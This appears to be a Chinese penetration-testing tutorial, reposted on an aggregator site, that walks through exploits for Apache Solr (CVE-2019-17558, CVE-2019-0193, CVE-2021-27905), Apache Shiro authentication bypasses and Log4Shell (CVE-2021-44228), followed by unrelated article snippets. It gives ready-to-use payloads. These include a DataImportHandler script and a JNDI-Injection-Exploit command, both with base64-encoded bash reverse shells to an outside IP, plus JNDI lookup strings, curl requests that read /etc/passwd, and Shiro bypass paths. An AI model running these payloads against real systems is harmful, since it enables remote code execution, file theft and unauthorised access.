服务攻防-开发组件安全Solr搜索Shiro身份Log4j日志本地CVE环境复现

知识点:
1、J2EE-组件安全-Solr-全文搜索
2、J2EE-组件安全-Shiro-身份验证
3、J2EE-组件安全-Log4J-日志记录

章节点:
1、目标判断-端口扫描&组合判断&信息来源
2、安全问题-配置不当&CVE漏洞&弱口令爆破
3、复现对象-数据库&中间件&开发框架&应用协议

常见语言开发框架:

PHP:Thinkphp Laravel YII CodeIgniter CakePHP Zend等 JAVA:Spring MyBatis
Hibernate Struts2 Springboot等 Python:Django Flask Bottle Turbobars
Tornado Web2py等 Javascript:Vue.js Node.js Bootstrap JQuery Angular等

常见语言开发组件:(Java)

Apache Solr、Apache Shiro、Apache Struts2、Apache
Flink、Flume、Dubbo、Redis、Logstash、ElasticSearch、Kafka、Ghidra、Minecraft、Apache
hive、Datax、Streaming、Dolphin Scheduler、Storm、Spring、Aibaba
FastJson、Jackson、Log4J、XSteam等。

一、演示案例-J2EE-组件Solr-本地demo&CVE

主要基于HTTP和Apache Lucene实现的全文搜索服务器。

黑盒特征:图标及端口8983
在这里插入图片描述
在这里插入图片描述

1、命令执行(CVE-2019-17558)

影响版本

Apache Solr 5.0.0版本至8.3.1

利用项目

https://github.com/jas502n/solr_rce

D:\Python27\python.exe solr_rce.py http://123.58.236.76:50847 id

在这里插入图片描述

2、远程命令执行漏洞(CVE-2019-0193)

影响版本

Apache Solr < 8.2.0版本

https://vulhub.org/#/environments/solr/CVE-2019-0193/

条件1

Apache SolrDataImportHandler启用了模块DataImportHandler(默认不会被启用)
在这里插入图片描述
在这里插入图片描述

条件2

Solr Admin UI未开启鉴权认证。(默认情况无需任何认证)
在这里插入图片描述
选择已有核心后选择Dataimport功能并选择debug模式,更改填入以下POC,点击Execute with this Confuguration

<dataConfig><dataSource type="URLDataSource"/><script><![CDATA[function poc(){ java.lang.Runtime.getRuntime().exec("bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC80Ny45NC4yMzYuMTE3LzU1NjYgMD4mMQ==}|{base64,-d}|{bash,-i}");}]]></script><document><entity name="stackoverflow"url="https://stackoverflow.com/feeds/tag/solr"processor="XPathEntityProcessor"forEach="/feed"transformer="script:poc" /></document>
</dataConfig>

在这里插入图片描述
在这里插入图片描述

3、Apache Solr 文件读取&SSRF (CVE-2021-27905)

全版本官方拒绝修复漏洞

1、获取数据库名

http://47.94.236.117:8983/solr/admin/cores?indexInfo=false&wt=json

在这里插入图片描述
在这里插入图片描述

2、访问触发

curl -i -s -k -X $'POST' \-H $'Content-Type: application/json' --data-binary $'{\"set-property\":{\"requestDispatcher.requestParsers.enableRemoteStreaming\":true}}' \$'http://47.94.236.117:8983/solr/demo/config'

在这里插入图片描述

3、任意文件读取

curl -i -s -k 'http://47.94.236.117:8983/solr/demo/debug/dump?param=ContentStreams&stream.url=file:///etc/passwd'

在这里插入图片描述

二、演示案例-J2EE-组件Shiro-本地demo&CVE

Java安全框架,能够用于身份验证、授权、加密和会话管理。

黑盒特征:数据包cookie里面rememberMe
白盒审计:看调用的shiro库对应版本是否爆过漏洞

在这里插入图片描述

1、CVE_2016_4437 Shiro-550+Shiro-721(RCE)

影响范围

Apache Shiro <= 1.2.4

工具直接搜哈
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述

2、CVE-2020-11989(身份认证绕过)

Poc:/admin/%20
影响范围:Apache Shiro < 1.7.1
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述

3、CVE-2020-1957(身份认证绕过)

Poc:/xxx/..;/admin/
影响范围:Apache Shiro < 1.5.3
在这里插入图片描述
在这里插入图片描述

4、CVE-2022-32532(身份验证绕过)

Poc: /permit/any
/permit/a%0any可绕过
需要依赖代码具体写法,无法自动化,风险较低。
影响范围:Apache Shiro < 1.9.1

三、演示案例-J2EE-组件Log4j-本地demo&CVE

Apache的一个开源项目,是一个基于Java的日志记录框架。

黑盒特征:盲打 会问蓝队攻击特征(${jndi:rmi:///osutj8}

Log4j2远程命令执行(CVE-2021-44228)

漏洞影响的产品版本包括:

Apache Log4j2 2.0 - 2.15.0-rc1

在这里插入图片描述
在这里插入图片描述
在这里插入图片描述

修复

在这里插入图片描述
在这里插入图片描述
在这里插入图片描述

1、生成反弹Shell的JNDI注入

java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -C "bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC80Ny45NC4yMzYuMTE3Lzk5MDAgMD4mMQ==}|{base64,-d}|{bash,-i}" -A 47.94.236.117

在这里插入图片描述
在这里插入图片描述

2、构造JNDI注入Payload提交

${jndi:rmi://47.94.236.117:1099/osutj8}

在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述

%24%7b%6a%6e%64%69%3a%72%6d%69%3a%2f%2f%34%37%2e%39%34%2e%32%33%36%2e%31%31%37%3a%31%30%39%39%2f%6f%73%75%74%6a%38%7d

在这里插入图片描述
在这里插入图片描述

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mzph.cn/news/659984.shtml

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

XPath从入门到精通:基础和高级用法完整指南,附美团APP匹配示例

XPath 通常用来进行网站、XML (APP )和数据挖掘&#xff0c;通过元素和属性的方式来获取指定的节点&#xff0c;然后抓取需要的信息。 学习 XPath 语法之前&#xff0c;首先了解一些概念。 概念介绍 节点之间的关系 以上面的 HTML 节点树为例&#xff0c;节点之间包含了下列…

Linux——安装MySQL

1、安装mysql8.0.35 1.1、安装步骤 1.更新包列表&#xff0c;首先&#xff0c;确保您的系统已更新到最新状态。运行以下命令来更新包列表和安装最新的软件包&#xff1a; sudo apt update sudo apt upgrade2.安装MySQL服务器&#xff1a;运行以下命令来安装MySQL服务器&…

win11安装wsl作为linux子系统并当作服务器

wsl安装 打开控制面板&#xff0c;找到启用或关闭windows功能 开启windows虚拟机监控平台和适用于Linux的Windows子系统&#xff0c;重启电脑。 打开microsoft store搜索ubuntu&#xff0c;找到合适的版本下载安装 输入wsl -l如下所示&#xff0c;即为安装成功。 安装过程比较…

Golang语言异常机制解析:错误策略与优雅处理

前些天发现了一个巨牛的人工智能学习网站&#xff0c;通俗易懂&#xff0c;风趣幽默&#xff0c;忍不住分享一下给大家。点击跳转到网站https://www.captainbed.cn/kitie。 前言 作为开发者来说&#xff0c;我们没办法保证程序在运行过程中永远不会出现异常&#xff0c;对于异常…

Maven:Dmaven.multiModuleProjectDirectory system propery is not set.

eclipse中使用maven插件的时候&#xff0c;运行run as maven build的时候报错 -Dmaven.multiModuleProjectDirectory system propery is not set. Check $M2_HOME environment variable and mvn script match. 直接的解决方法&#xff1a;使用低版本的maven 可以设一个环境变量…

分布式搜索引擎_学习笔记_2

分布式搜索引擎_学习笔记_2 在昨天的学习中&#xff0c;我们已经导入了大量数据到elasticsearch中&#xff0c;实现了elasticsearch的数据存储功能。但elasticsearch最擅长的还是搜索和数据分析。 所以今天&#xff0c;我们研究下elasticsearch的数据搜索功能。我们会分别使用…

Vue.js 中子组件向父组件传值的方法

Vue.js 是一款流行的 JavaScript 前端框架&#xff0c;它提供了一套完整的工具和 API&#xff0c;使得开发者可以更加高效地构建交互式的 Web 应用程序。其中&#xff0c;组件化是 Vue.js 的一个核心概念&#xff0c;通过组件化可以将一个复杂的应用程序拆分成多个独立的部分&a…

系统架构设计师考试大纲2023

一、 考试方式&#xff08;机考&#xff09; 考试采取科目连考、 分批次考试的方式&#xff0c; 连考的第一个科目作答结束交卷完成后自动进 入第二个科目&#xff0c; 第一个科目节余的时长可为第二个科目使用。 高级资格&#xff1a; 综合知识科目考试时长 150 分钟&#xff…

基于ecal的foxglove studio可视化工具的使用

ecal通讯在自动驾驶和机器人中的应用越来越多,在调试测试过程中,可以使用ecal monitor,ecal recoder和ecal player等工具,对ecal 消息进行监测录制回播。但是,有时候需要对消息进行可视化查看,比如雷达点云信息,相机图像等,可以使用foxglove studio可视化工具。 Foxg…

CSRF靶场练习

简述&#xff1a;CSRF漏洞实际很少&#xff1b;条件限制很多&#xff1b;局限性很大&#xff1b;实验仅供参考&#xff0c;熟悉csrf概念和攻击原理即可 Pikachu靶场 CSRF GET 登录用户vince的账户可以看到用户的相关信息&#xff1b; 点击修改个人信息&#xff0c;发现数据包…

轻量式RPC调用日志链路设计方案

导语: 调用链跟踪系统,又称为tracing&#xff0c;是微服务设计架构中&#xff0c;从系统层面对整体的monitoring和profiling的一种技术手 背景说明 由于我们的项目是微服务方向&#xff0c;中后台服务调用链路过深&#xff0c;追踪路径过长&#xff0c;其中某个服务报错或者异…

【Redis】实现购物秒杀及分布式锁

Redis实现购物秒杀及分布式锁 全局唯一ID Redis自增ID策略 ID构造是:时间戳 + 计数器 每天一个key,方便统计订单量 业务实现 获取指定时间的秒数 LocalDateTime timeBegin = LocalDateTime.of(2024, 1, 1, 0, 0, 0); long second = timeBegin.toEpochSecond(ZoneOffset…

Java面试题宝典(万字长文)

Java 基础 1. JDK 和 JRE 有什么区别&#xff1f; JRE是Java运行环境&#xff0c;即&#xff08;Java Runtime Environment&#xff09;&#xff0c;也就是Java平台。所有的Java程序都要在JRE下才能运行。 JDK是开发工具包&#xff0c;即&#xff08;Java Development Kit&am…

【Docker与微服务】基础篇

1 Docker简介 1.1 docker是什么 1.1.1 问题&#xff1a;为什么会有docker出现&#xff1f; 假定您在开发一个项目&#xff0c;您使用的是一台笔记本电脑而且您的开发环境具有特定的配置。其他开发人员身处的环境配置也各有不同。您正在开发的应用依赖于您当前的配置且还要依…

android 自定义下拉框

一、 简介&#xff1a; 原生Android 提供的spinner下拉框不怎么方便&#xff0c;样式有点丑。修改起来麻烦&#xff0c;于是就自己动手写了一下拉列表。 实现原理使用的是&#xff0c;popwindow弹框&#xff0c;可实现宽高自定义&#xff0c;下拉列表使用listview. 二、pop弹框…

大模型基础架构的变革:剖析Transformer的挑战者(中)

上一篇文章中&#xff0c;我们介绍了RetNet、RWKV、Mamba等有可能会替代Transformer的模型架构&#xff0c;这一篇文章我们将要介绍另外三个有可能会替代Transformer的模型架构&#xff0c;它们分别是UniRepLKNet、StripedHyena、PanGu-π&#xff0c;想了解之前的内容&#xf…

vue项目改造服务端渲染

vue项目改造服务端渲染 概述 【定义】 服务器渲染的Vue应用程序被认为是"同构"或"通用"&#xff0c;因为应用程序的大部分代码都可以在服务器和客户端上运行 【优点】 与传统SPA相比&#xff0c;服务器端渲染(SSR)的优势主要在于&#xff1a; 1、更好的…

二叉树-堆应用(1)

目录 堆排序 整体思路 代码实现 Q1建大堆/小堆 Q2数据个数和下标 TopK问题 整体思路 代码实现 Q1造数据CreateData Q2建大堆/小堆 建堆的两种方法这里会用到前面的向上/向下调整/交换函数。向上调整&向下调整算法-CSDN博客 堆排序 整体思路 建堆&#xff08;直…

Qt 5.9.4 转 Qt 6.6.1 遇到的问题总结(三)

1.QSet: toList 中的toList 函数已不存在&#xff0c;遇到xx->toList改成直接用&#xff0c;如下&#xff1a; 2.开源QWT 图形库中QwtDial中的 setPenWidth 变成 setPenWidthF函数。 3.QDateTime 中无setTime_t 改为了setSecsSinceEpoch函数。 4.QRegExp 类已不存在 可以用Q…

【定位·HTML】

定位布局可以分为以下四种&#xff1a; 静态定位&#xff08;inherit&#xff09; 相对定位&#xff08;relative&#xff09; 绝对定位&#xff08;absolute&#xff09; 固定定位&#xff08;fixed&#xff09; 一般的标签元素不加任何定位属性时&#xff0c;默认都属于静态…